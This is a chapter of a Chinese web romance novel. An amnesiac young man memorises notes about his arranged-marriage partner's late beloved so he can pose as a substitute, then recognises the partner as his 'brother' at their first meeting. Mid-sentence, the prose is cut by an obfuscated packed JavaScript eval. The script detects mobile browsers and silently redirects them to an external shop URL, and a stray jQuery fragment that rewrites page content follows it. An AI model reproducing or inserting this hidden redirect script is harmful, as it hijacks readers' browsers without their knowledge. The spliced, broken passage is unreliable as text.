似要将城市吞噬、昏天黑地的雨,心理咨询诊室纱帘被打湿,医生乔纳森起身,关上窗帘,打开了灯。
借着灯光,施云心看清诊断评估报告:“经过估测,患者无明显记忆缺失,第一阶段治疗予以结束。”
乔纳森笑着道:“恭喜你,小乖。”
“你的记忆应该已经全部恢复了。”
“这段时间,听了很多你和哥哥的故事,我也是真的很希望你能有机会和你的哥哥重归于好。”
“他真的…是一个很温柔无私的人。”
听到他的话,施云心笑起来,酒窝很甜蜜,左边比右边要深一点:“谢谢您这些天的照顾,不过可能要让您失望了。”
“干嘛这么悲观,”乔纳森语气温柔,“我之前可是听别人叫你小少爷,既然是小少爷的话,大概有更多机会找到你的哥哥,让他和你和好吧。“
“既然你是他亲手养大的,相信对他来说,你也十分重要。”
施云心摇头:“实不相瞒,乔纳森先生,我要结婚了。”
“我的联姻对象是个非常……”
像是难以描述,施云心顿了顿,才道:“阴森恐怖的人。”
乔纳森好奇:“为什么会这样说呢。”
施云心:“他似乎…在他的私宅里设了一座灵堂,从不许外人进入,也不拉开窗帘,里面供奉的是他死去的白月光。”
“外人称呼他为‘大魔王’,而他,称呼他的白月光为‘亡妻’。”
-
和乔森纳约定完复诊时间,施云心走出心理诊疗室,雨雾不断浮过伞沿,往脸上飘,施云心伞面斜了斜,下意识寻找司机位置。
忽地想起,由于施家濒临破产,他的司机也被砍掉了,现在只能自己打车回家。
施云心拦下一辆出租车,将伞收起,从背包中,掏出一叠打印资料。
司机叮嘱他系安全带,顺口问道:“小朋友,你这是要准备什么考试吗?这么努力啊。”
施云心有点社恐,眼睛睁大,摇头,又点头:“和考试也差不太多。”
事实上,虽然和乔纳森那样说,施云心的婚事却还未确定,只是父母用成功后施家的部分股份,换取了和戚家相亲的机会。
而最终结果,还是要问过他的联姻对象,戚濯灵的意思。
施云心从一位号称最了解戚濯灵的人那购买了有关他白月光的资料,打印成小册子,时刻背诵,希望能成功扮演一位他的白月光替身,让这场联姻顺利进行。
话说完后,施云心攥紧资料,悄悄祈祷,希望司机不要再和他搭话,见司机注意力重新回到路上,才松了口气。
视线重新落回文字上,是一段一页的排版。
第一条:戚濯灵的白月光有酒窝。
施云心抬手,戳了下自己左脸,雪白皮肤顺着小酒窝陷进去。
很轻松。
第二条:戚濯灵的白月光是浅发色。
施云心翻出镜子,他先天色素缺失,全身颜色都很淡,浅栗色的发丝显得柔软,施云心将刘海拨开,露出那双琥珀色眼睛。
似乎,也不用染了。
第三条:戚濯灵的白月光叫他哥哥。
事实上,施云心拿到这叠资料已经一周,而每次背诵,他都只翻到第三条截止。
或许是这个称呼对应着记忆中特定的人,施云心对于这两个字天然应激,哪怕是家中相处五年的养兄,也从不用叠词称呼他。
他几不可闻地小声嘀咕:“哥……”
“……哥……”
经过一周脱敏练习,施云心已经能顺利在十秒内说出这两个字。
但可惜,两个字相隔的距离是开头与结尾,任何人听到他的话,都无法将其与这个称呼联系起来。
施云心很努力,大概一个月后,他就能流利对陌生人喊出“哥哥”了。
但今晚,施云心就要去相亲了。
施云心有点儿绝望地把资料一合。
“这根本就是不可能成功的。”
-
春月湾中,造型师已在等待。
由于资金难以运转,开销一切从俭,施家大部分藏品被变卖,偌大别墅只剩空架子,却为今天这场相亲,给施云心准备了最好的造型师。
见施云心推开门,母亲姚淑华迅速将他推至梳妆台前坐下:“小乖终于回来了?”
“衣服都给你准备好了。”
“你来试试。”
姚淑华为他准备的是一件浅灰蓝礼服,腰部被蝴蝶结系带束起,丝带散落在身后,勾勒出一段纤细腰肢,浅栗色的碎发被挂上碎钻,而他那双乖巧的下垂眼比钻石还要明亮。
姚淑华打量片刻,告诉他:“小乖,妈妈觉得这样不行。”
施云心小心道:“太暴露了?”
姚淑华:“太漂亮了。”
“不符合你在戚总面前要扮演的形象。”
施云心温吞地“哦”了声。
姚淑华:“不过,妈妈还给你弄了别的衣服。”
“你再试试吧。”
这一次,施云心被换上一件白色polo上衣,学生气的打扮,刘海被小卡子别开,露出一截光洁饱满的前额,让他显得稚气未脱。
姚淑华终于像是满意,示意发型师给他发顶补烫一点弧度,她眼睛和施云心很像,笑得弯起:“这样,我们小乖真可爱。”
姚淑华走进厨房,嘱咐仅剩的一位保姆榨点苹果汁,造型师对施云心笑道:“你妈妈真宠你。”
施云心瞄一眼沙发上、与世隔绝,岁月静好的养兄施雨恩,做了三十秒心理准备,才鼓起勇气回答她:“大部分时间,都还行吧。”
他这一眼像是吸引了施雨恩注意,施雨恩放下游戏机,懒洋洋拿起包零食,迈步走来。
将零食递给他,施雨恩顺手摸了把施云心头发:“小乖,走,家里太乱了,和哥哥网吧打游戏去。”
“……”
施雨恩一头半长红发束在身后,扎了个小辫,与施云心截然不同的瑞凤眼,明明是凌厉的长相,却因颓废的气质,以及松垮的长t显得厌世。
如果一定要描述,就像是天塌下来,也毫不管事的那种耀祖。
就比如,哪怕施家现在已是这种境地,不久前,施雨恩生日,姚淑华还送了他一辆新的跑车。
施云心头发被摸乱了,又得补烫,他说:“哥,你别捣乱了,你看我现在像是能去网吧么?”
施雨恩撕开他手中饼干袋:“怎么不能去。”
施云心和他讲道理:“要是我今晚相亲不能成功的话,我们家估计马上就得破产,到时候我们就真得睡网吧了。”
“那真是太好了,”施雨恩随意咬下一半饼干,“你放心,弟弟,到时候就哥哥当网管来养你,几桶泡面哥哥还是买得起的。”
施云心:“……”
“哥,你还是玩你的游戏去吧。”
他将施雨恩这种态度归类于被偏爱的耀祖有恃无恐,毕竟就算施家真破产,大概率姚淑华也只会亲自打工,供他打游戏。
说不准还会叫上施云心一起。
就像被推出联姻的是他,而不是施雨恩。
哪怕是小少爷,在父母眼中也是有顺序的,施云心清晰知晓,自己并非他们爱的第一顺位。
要让日子好过起来,他只能抓住机会,和戚家顺利联姻。
虽然戚濯灵阴晴不定,深爱白月光到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17830990|211332||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
疯狂,但也从未传出任何桃色新闻,他嫁过去后,会是他唯一的妻子。
对施云心来说,已经是桩不错的婚事。
思及此,他重新打开打印资料。
看着第三条,再次小声念道:“哥………哥…”
很好,快了半秒。
但,还有两小时,他就要去相亲了。
施云心捧住脸,再次有点绝望地想:这根本就是不可能成功的。
-
打扮完毕后,施云心跟随母亲上车,前往椿兰酒楼,父亲施秉初去越南处理海外食品厂,已经一个月没有回家。
静谧里,只有纸张翻页的声音,姚淑华问道:“小乖,你还在背资料吗?”
施云心点点头,他将资料册放在膝上,争分夺秒看着,只是,看的依然是前三页。
姚淑华:“你刚回家的时候,看你背书那么认真,妈妈就总是想,妈妈年轻的时候也是这样,不愧是妈妈亲生的小孩。”
五年前,逢小儿子走失的雨季,姚淑华心情郁郁,在国外一家峡谷疗养院疗养。
散步时,医生推进来一个黄种人小孩,说是缆车失事,被树挂了下,侥幸保住了性命。
只是摔断好几根骨头,身份证件都遗落在峡谷中,身上有一枚心形胎记。
姚淑华浑身发抖,冲上前去,经过dna检测,果然发现这是她失散十五年的亲子。
由于施云心醒后,失去了记忆,又找到了亲生父母,便没有再联系大使馆。
姚淑华查找过后,得知施云心曾被一对夫妇从福利院收养,二人在施云心九岁去世,施云心则由他们的儿子独自抚养长大。
施云心提起旧事便会头痛发作,姚淑华索性为施云心做了新的身份,只对外宣称这是他出生后体弱,寄养在寺庙的小儿子。
“妈,那我一点资料也记不住,高数挂了三次,也是遗传的么…”施云心语气蔫蔫地道,“你觉得戚家真的有可能看上一个笨蛋么?”
姚淑华看着他:“怎么不会呢?”
她笑眯眯地:“我们小乖就是不聪明也很可爱呀,戚总一定会喜欢你的。”
“……”
施云心低头,重新看向资料册,依然无法流畅喊出“哥哥”二字。
时间紧迫,施云心只能往下看去。
第四条:戚濯灵的白月光喜欢喝绿茶,尤爱西湖龙井。
第五条:戚濯灵的白月光喜欢看戏剧和画展,爱好是逛书店,文化造诣极高。
施云心有点儿懵。
为什么跳过第三条,后面几条画风一转,朝着小众文艺男方向一去不复返了,他正思忖着,姚淑华喊道:“小乖,到了。”
施云心将资料收起,应了一声:“妈,我来了。”
椿兰酒楼是预约制,作为樵海市最气派的宴请场所,包间千金难求,多数时间,都需要提前半年私下预订位置。
今日戚家出面,才能让这场临时会面在这里举行。
施云心心情忐忑,还惦记着模仿白月光的事,心跳如擂,更令他紧张的是,他忽地觉得唇被贴上封条,一句话也说不出口。
侍从推开门。
施云心跟随母亲走进包间,不算明亮的光线里,施云心几乎是一眼,就望见了他的联姻对象。
男人穿一件黑色薄毛衣,身形高挑,皮肤阴郁冷白,像是缩于阴暗处,常年不见光,他侧脸下颌削直,眼皮却内勾外翘,在寡情的长相中,添了一点柔和意味。
听见有人说:“施家那小孩到了。”
戚濯灵抬眼,随意看来。
随后,顿在原地。
视线变得艰涩、凝滞。
施云心脱口而出:“哥哥?”